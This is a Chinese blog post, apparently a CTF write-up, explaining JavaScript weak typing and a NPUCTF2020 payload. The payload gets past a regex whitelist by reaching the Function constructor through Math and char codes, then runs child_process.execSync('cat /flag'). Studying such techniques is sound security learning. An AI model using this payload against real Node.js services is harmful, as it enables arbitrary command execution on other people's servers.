沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

JS中函数和数据类型的特性

0x00 前言


没什么好写的了(其实还有一大堆东西要写,但是太懒),就随便记录点东西。最近也写了挺多JS的文章了,今天就来较为深入的探究一下JS中有哪些可能有用的小技巧吧🤗

0x01 弱类型


弱类型比较

不同数据类型相加

image-20210314211717607

0x02 函数


一个神奇的payload

(Math=>
        (Math=Math.constructor,
                Math.x=Math.constructor(
                    Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,
                        99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,
                        46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,
                        95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,
                        121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41))()
        )
)(Math+1)

这个payload匹配(注意要完全匹配而不是绕过才能过if)的正则(反正我是完全看不懂)是:

if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
    console.log("失败了")
  }
else{
    console.log("Real Hacker")
}

解析

首先看Math=>(/**/)(Math+1),Math是一个JS中的一个函数,我们先来看看Math=>(/**/)是什么:

image-20210314213800099

很明显,这样就相当于创建了一个函数,相当于test(Math),那Math=>(/**/)(Math+1)后面的(Math+1)是什么呢?

image-20210314214048229

如图,其实就是相当于传参,那为什么要传Math+1,我们先顺着payload看下:

image-20210314215729483

Math=Math.constructMath.x=Math.construct这两行代码是为了构造出Function,至于为什么是Math.xMath+1,我们待会再说,我们先来看看为什么要构造出Function

image-20210314225104050

可以看到是创建了一个匿名函数,然后这个payload只剩Math.fromCharCode(/**/)()了,可以猜到fromCharCode是个函数,是从Math调用的,这也就是上文为什么用的是Math+1Math.x了。使用Math.x是为了让Math的值始终等于(Math+1).constructor,因为fromCharCodeString()里特有的

image-20210314225947367

而使用Math+1也是基于这个原因

image-20210314230323130

虽然用Math.constructor.constructor也可以调用到Function,但是并不能愉快的调用到fromCharCode,所以我们要传入Math+1。现在这个payload只差那些数字了,将其在控制台输出,结果如下:

image-20210317215217291

可以看到是一个命令执行语句,payload中Math.x=Math.constructor(return ...)()便创建了一个直接执行的函数,测试如下:

image-20210317220553625

至此,整个payload的分析就结束了…

0x03 参考文章


NPUCTF2020 验证🐎-(弱类型比较、hash绕过、构造函数执行任意代码) | Xiao Leung’s Blog (plasf.cn)